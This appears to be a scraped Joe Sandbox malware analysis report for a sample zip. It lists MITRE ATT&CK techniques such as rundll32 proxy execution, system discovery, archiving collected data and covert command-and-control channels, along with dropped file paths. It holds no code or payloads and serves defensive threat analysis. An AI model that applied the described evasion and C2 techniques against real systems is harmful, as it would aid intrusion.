Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.ca929a63-a4f5-46d8-adb0-5d93b35205e8.1.etl

C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ouzpc02.jnl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xhp5dxa.c1z.ps1

Windows Analysis Report
MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre